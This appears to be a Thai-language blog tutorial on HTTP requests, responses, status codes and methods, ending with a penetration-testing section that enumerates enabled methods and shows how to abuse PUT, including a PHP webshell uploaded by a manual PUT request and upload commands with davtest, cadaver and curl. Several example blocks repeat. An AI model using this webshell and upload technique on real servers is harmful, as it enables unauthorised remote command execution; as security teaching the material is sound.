HTTP PROTOCOL พื้นฐาน
HTTP PROTOCOL
การทำงานในระดับ Application Layer ของ HTTP นั้นจะประกอบไปด้วย
- HTTP Request
- HTTP Response
HTTP Request
โดย HTTP Request เป็นสิ่งที่เราส่งไปให้ server ปลายทาง โดยยกตัวอย่าง HTTP Request จะประกอบไปด้วย
- HTTP Header คือส่วนการกำหนดลักษณะการร้องขอ
- HTTP Body คือเนื้อหาของการร้องขอ ซึ่งจะถูกใช้เมื่อเราต้องการส่งข้อมูลไปให้กับเว็บเพจนั้นๆประมวลผล โดยส่วนขั้นระหว่าง HTTP Header และ HTTP Body คือการขึ้นบรรทัดใหม่ 1 บรรทัด
ตัวอย่าง HTTP Request
POST /docs/index.html HTTP/1.1
Host: www.example.com
Accept: image/gif, image/jpeg, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
(blank line)
Hello!!!!
Host: www.example.com
Accept: image/gif, image/jpeg, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
(blank line)
Hello!!!!
ซึ่งแถวแรกที่เป็นสีสมประกอบไปด้วย
- HTTP Method
- PATH ที่ต้อง request
- HTTP Protocol ที่ใช้
แถวที่มีสีส้มคือแถวที่เป็นลักษณะรายละเอียดที่ต้องการ request ซึ่งหากเราต้องการส่งข้อมูลไปยังปลายทางจะขั้นด้วยบรรทัดใหม่ 1 บรรทัด (blank line) และส่วนสีฟ้าจะเป็นข้อมูลที่เราส่งไปให้ปลายทาง
HTTP Response
เมื่อ server ประมวลผลเสร็จก็จะส่งผลกลับมาให้เรา จากนั้น Browser ที่เราใช้ก็จะผลลัพธ์ที่ return กลับมาไปแปลงเป็น object ต่างๆไม่ว่าจะเป็น text, image, css, และอื่นๆให้เราอีกที
ตัวอย่าง HTTP Response
HTTP/1.1 200 OK
Date: Sun, 18 Oct 2009 08:56:53 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Sat, 20 Nov 2004 07:16:26 GMT
ETag: "10000000565a5-2c-3e94b66c2e680"
Accept-Ranges: bytes
Content-Length: 44
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
(blank line)
<html><body><h1>It works!</h1></body></html>
Date: Sun, 18 Oct 2009 08:56:53 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Sat, 20 Nov 2004 07:16:26 GMT
ETag: "10000000565a5-2c-3e94b66c2e680"
Accept-Ranges: bytes
Content-Length: 44
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
(blank line)
<html><body><h1>It works!</h1></body></html>
*รูปภาพการทำงานของ HTTP Request และ HTTP Response จาก *https://www.ntu.edu.sg/home/ehchua/programming/webprogramming/HTTP_Basics.html
ดยผลของการ request นั้นจะแบ่งเป็น 3 ส่วนคือสีแดงจะเป็น
- HTTP Status Code จะเป็นตัวบอกสถานะการเรียกของเรา โดยการตอบรับจะเป็นตระกูลต่างๆดังต่อไปนี้
- 1xx จะเป็นการทำงานแบบต่อเนื่อง
- 100: Continue - เป็นการตอบกลับมาบอกว่า request ส่วนแรกได้รับแล้ว และ server ยังไม่จะทำการ response กลับมา รอให้ request จากทาง client มาครบก่อนจากนั้นจะตอบกลับไปในที่สุด
- 101: Switching Protocols - เป็นการตอบกลับมาบอกว่า server ทราบถึงการอยากเปลี่ยน protocol ของ client โดย Server เป็นคนบอกว่ามี protocol อะไรที่รองรับให้เปลี่ยนได้บ้าง
- 102: Processing - เป็นการตอบกลับมาแบบชั่วคราวบอกว่า แต่ยังประมวลผลไม่เสร็จ
- 2xx จะเป็นการบ่งบอกว่าการเรียกของเรานั้นถูกต้อง
- 200: OK - เป็นการตอบกลับมาบอกว่าทุกอย่างเรียบร้อยและส่ง HTML Response กลับมาหลังจากการประมวลผลนั้นๆเรียบร้อยแล้ว
- 201: Created - เป็นการบอกว่า request ที่ร้องขอ ถูกสร้างขึ้นในตำแหน่งที่กำหนดสำเร็จ
- 202: Accepted - เป็นการตอบกลับมาบอกว่า request ที่ส่งมา server ได้รับแล้ว แต่ทาง server ยังคงประมวลผลอยู่
- 203: Non-authoritative Information - เป็นการบอกกลับมาว่า request ที่ส่งมาได้รับการประมวลผลแล้ว แต่ payload ที่ส่งกลับมาถูกแก้ไขโดย Proxy ที่อยู่กึ่งกลางจาก Server จริงๆ
- 204: No Content - เป็นการตอบกลับมาบอกว่า server ประมวลผลเรียบร้อยแล้ว แต่ response ที่จะตอบกลับไปนั้นไม่มี response body
- 205: Reset Content - เป็นการตอบกลับมาบอกว่า Server ได้รับ request แล้วและปราถนาให้เปลี่ยนเป็น document view ซึ่งทำให้ user ต้องส่ง request มาใหม่
- 206: Partial Content - เป็นการตอบกลับมาบอกว่า request ได้รับแล้ว โดยจะส่งข้อมูลให้บางส่วนตามที่ client ต้องการระบุไว้ใน Range Header
- 207: Multi-Status - เป็นการตอบกลับมาบอกซึ่งภายในมี information ที่หลากหลายจากหลายๆ resource ในสถานการณ์ที่มี status code ที่หลากหลาย
- 3xx จะเป็นการบ่งบอกว่าให้ทำการ redirect เราไปที่เพจอื่นหรือเว็บไซต์อื่น
- 300: Multiple Choices - response มีการ redirect มากกว่า 1 URL แต่ไม่เกิน 5 URL แล้วให้ทาง client เลือก URL
- 301: Moved Permanently - เป็น response ที่จะย้าย URL ที่เราเรียกไปยังตำแหน่งนั้นๆอย่างถาวร
- 302: Found - เป็น response บอกว่า URL ที่ถูกเรียกมีการย้ายไป URL อื่นชั่วคราว
- 303: See Other - เป็น response ที่ย้าย user ให้ไปที่ resource อื่น
- 304: Not Modified - เป็น response ของที่บอกว่า request GET หรือ HEAD ที่ส่งมานั้นไม่มีการเปลี่ยนแปลงจากครั้งล่าสุด
- 4xx จะเป็นการบ่งบอกว่า request ของเรานั้นผิดพลาด
- 400: Bad Request - เป็นการบอก client ว่า syntax, requeste body นั้นไม่ถูกต้อง
- 401: Unauthorized - เป็นการบอก client ว่ายังไม่ได้ authenticate เข้าระบบ
- 402: Payment Required - เป็น feature ที่ใช้ในอนาคต เพื่อร้องขอการจ่ายเงิน
- 403: Forbidden - เป็นการบอก client ว่าไม่มีสิทธิ์เข้าถึง resource ดังกล่าว
- 404: Not Found - เป็นการบอก client ว่าไม่พบหน้าที่ client ร้องขอเข้ามา
- 405: Method Not Allowed method - Method ที่ใช้งานนั้นไม่ถูกอนุญาตให้ใช้ใน resource ดังกล่าว
- 406: Not Acceptable - เป็นการบอก client ว่าการเรียกใช้งานดังกล่าวไม่เข้ากับ request
- 413: Request Entity Too Large - เป็นการบอกว่า request ที่ส่งเข้ามาใหญ่เกินไป
- 414: Request-URI Too Long - เป็นการบอกว่า URL ที่ส่งเข้ามายาวเกินไป
- 415: Unsupported Media Type - เป็นการบอกว่า server ไม่ support ชนิดของสื่อที่ทาง client ร้องขอ
- 5xx จะเป็นการบ่งบอกว่าฝั่ง web server นั้นมีปัญหาอยู่
- 500: Internal Server Error - การเรียกเข้ามาเกิดข้อผิดพลาดทางฝั่ง server แบบไม่ทราบสาเหตุ
- 501: Not Implemented - Server ไม่รอบรับการเรียกเข้ามานั้นๆ
- 502: Bad Gateway - Server ไม่สามารถติดต่อไปยัง engine หรือ proxy ที่ใช้สำหรับการประมวลผล
- 503: Service Unavailable - เป็นการใช้งานที่เกิดที่ server รับได้
- 504: Gateway Timeout - เป็นการที่ server ไม่ได้รับการตอบสนอง engine หรือ server อื่นๆในเวลาที่กำหนด
- 1xx จะเป็นการทำงานแบบต่อเนื่อง
**** หากต้องการดู response code ทั้งหมด แนะนำให้เข้าไปดูที่ *https://httpstatuses.com/

*รูปภาพ HTTP Status Codes จาก *https://codeteddycom.files.wordpress.com/2017/06/statuscode.png?w=1109
*รูปภาพ HTTP Status Codes จาก *https://codeteddycom.files.wordpress.com/2017/06/statuscode.png?w=1109
- HTTP Response Header จะเป็นการระบุผลลัพธ์ของการประมวลผลกลับมา
- HTTP Response Body จะเป็นส่วน HTML หรือข้อมูลใน format ใดๆ เช่น json, xml เป็นต้น ที่เราร้องขอไปกลับมา
HTTP Method
ย้อนกลับมาที่ HTTP Method ซึ่งเป็นส่วนประกอบหนึ่งที่สำคัญของ HTTP Request โดยปกติแล้วเวลาการคุยกันใน HTTP Protocol จะมีการใช้งาน HTTP methods เป็นตัวระบุว่า User นั้นต้องการทำอะไรกับ request นั้นๆ โดยตาม RFC 2616 แล้ว จะกำหนด HTTP Methods ตาม HTTP 1.1 จะมี Methods ต่างๆดังต่อไปนี้
- GET ใช้เพื่อขออ่านไฟล์จาก web server
- HEAD ใช้เพื่อขออ่าน HTTP HEADER ของเพจนั้นๆ
- POST ใช้เพื่อส่งข้อมูลไปให้เพจนั้นๆ
- PUT ใช้เพื่อเก็บไฟล์บน web server หรือถูกนำไปแก้ไขไฟล์
- DELETE ใช้เพื่อลบไฟล์บน web server
- TRACE ใช้เพื่อสะท้อน request ที่ส่งไปให้
- CONNECT ใช้เพื่อคุยแบบ 2-way communication ระหว่าง client และ web server
- OPTIONS ใช้เพื่อขอ list method ที่ support ทั้งหมดใน path นั้นๆ
HTTP Method ที่อันตราย
จาก HTTP Method ที่เห็นจะพบว่าการใช้งานโดยทั่วไปจะเป็น GET และ POST เป็นหลัก แต่ PUT, DELETE, และ CONNECT นั้นไม่ได้ถูกใช้งานในเว็บไซต์ทั่วไป และซึ่งผลลัพธ์ของการใช้งาน HTTP Method เหล่านั้นในเว็บไซต์ก็อาจส่งผลที่เป็นอันตรายกับ web server ก็เป็นได้
- PUT Method อาจจะถูกใช้เพื่อ upload webshell ขึ้นเว็บไซต์ ซึ่ง PUT Method มักถูก enable ในเว็บเซอร์เวอร์อย่าง JBOSS Server เป็นต้น
- DELETE Method จะใช้เพื่อทำการลบไฟล์บน web server ซึ่งอาจทำให้เกิด denial of service หรือลบไฟล์ configuration อย่างเช่น .htaccess ได้ เป็นต้น
- CONNECT Method จะเป็นตัวที่ใช้สร้างช่องทางการคุยกัน (tunnel) ซึ่งสามารถใช้ได้เพื่อเชื่อมต่อแบบ P2P traffic ใน HTTP traffic หรือจะใช้กับ HTTPS traffic เช่นกัน ซึ่งเมื่อเกิดช่องทางการเชื่อมต่อนั้นแล้วก็จะทำให้สามารถซ่อน message ที่ต้องการภายใต้ content ที่คุยกันได้
โดยเราสามารถตรวจสอบได้ว่าใน path ใดๆนั้นรองรับการใช้งาน HTTP Method ใดๆบ้าง ได้หลายวิธีเช่น
1. Telnet
การใช้งาน telnet เพื่อตรวจสอบสามารถทำได้โดยใช้คำสั่ง
1. Telnet
การใช้งาน telnet เพื่อตรวจสอบสามารถทำได้โดยใช้คำสั่ง
telnet <IP> <PORT>
จากนั้นส่งคำสั่ง OPTION Method ไปให้ปลายทาง
OPTIONS /upload/ HTTP/1.1
Host: [www.example.com](http://www.example.com)
ตัวอย่างผลลัพธ์ที่ได้
HTTP/1.1 200 OK
Date: Sat, 29 Jun 2019 15:15:50 GMT
Server: Apache/2.4.29 (Ubuntu)
DAV: 1,2
DAV: <[[http://apache.org/dav/propset/fs/1\]\(http://apache.org/dav/propset/fs/1\)](http://apache.org/dav/propset/fs/1](http://apache.org/dav/propset/fs/1))>
MS-Author-Via: DAV
Allow: OPTIONS,GET,HEAD,POST,DELETE,TRACE,PROPFIND,PROPPATCH,COPY,MOVE,LOCK,UNLOCK
Content-Length: 0
Content-Type: httpd/unix-directory
2. Nikto
Nikto เป็น Web Vulnerability Assessment tool ที่มักถูกนำมาใช้เพื่อตรวจสอบรายละเอียดและทดสอบหาช่องโหว่เบื้องต้นของเว็บแอพพลิเคชั่นต่างๆโดยเราสามารถใช้ได้โดยใช้คำสั่งเป็น
Nikto เป็น Web Vulnerability Assessment tool ที่มักถูกนำมาใช้เพื่อตรวจสอบรายละเอียดและทดสอบหาช่องโหว่เบื้องต้นของเว็บแอพพลิเคชั่นต่างๆโดยเราสามารถใช้ได้โดยใช้คำสั่งเป็น
nikto --host <TARGET>
หากเจอว่ามี Method ที่อันตราย enable อยู่จะขึ้นเป็น
+ OSVDB-397: HTTP method 'PUT' allows clients to save files on the web server.
จากตัวอย่างจะพบว่ารองรับ PUT method อยู่
3. nmap
เราสามารถใช้งาน nmap ในการตรวจสอบ method ที่ support ได้โดยใช้คำสั่งเป็น
เราสามารถใช้งาน nmap ในการตรวจสอบ method ที่ support ได้โดยใช้คำสั่งเป็น
nmap --script=http-methods.nse -p80,443 <TARGET>
ผลลัพธ์ของการใช้งาน nmap
PORT STATE SERVICE
80/tcp open http
| http-methods:
|_ Supported Methods: GET HEAD POST PUT DELETE OPTIONS
443/tcp closed https
ทดสอบโจมตี HTTP Method ที่อันตราย
หากเราพบว่า HTTP Method ใดๆที่อันตรายนั้น enable อยู่ เราสามารถโจมตีได้ด้วยหลากหลายคำสั่ง
1. Davtest
Davtest เป็นเครื่องมือในการทดสอบว่าเราสามารถใช้ HTTP Method ที่ถูกใช้ใน WebDav หรือไม่ ซึ่งจะทดสอบทั้ง PUT และ delete
1. Davtest
Davtest เป็นเครื่องมือในการทดสอบว่าเราสามารถใช้ HTTP Method ที่ถูกใช้ใน WebDav หรือไม่ ซึ่งจะทดสอบทั้ง PUT และ delete
davtest -url http://<target ip>:target port> -sendbd auto -cleanup
2. telnet
เราสามารถใช้ telnet ในการส่ง payload webshell ผ่าน PUT method แบบ manual ได้โดยใช้คำสั่งเป็น
PUT /test.php HTTP/1.1
Host: <target ip>:<target port>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
<?php
echo exec($_GET[cmd]);
?>
3. Cadaver
Cadaver เป็นอีกคำสั่งหนึ่งเราสามารถใช้ได้
Cadaver เป็นอีกคำสั่งหนึ่งเราสามารถใช้ได้
cadaver http://192.168.1.103/
เมื่อ connect แล้วเราสามารถสั่งคำสั่งต่างๆไปยัง path ดังกล่าวได้
4. Curl
จริงๆแล้วการใช้งาน Curl command มันก็ไม่ต่างอะไรกับ manual แต่ก็ช่วยได้ระดับหนึ่งโดยเราใช้คำสั่งเป็น
4. Curl
จริงๆแล้วการใช้งาน Curl command มันก็ไม่ต่างอะไรกับ manual แต่ก็ช่วยได้ระดับหนึ่งโดยเราใช้คำสั่งเป็น
curl http://<TARGET>/ --upload-file /path/of/file/to/upload -v
Comments
Post a Comment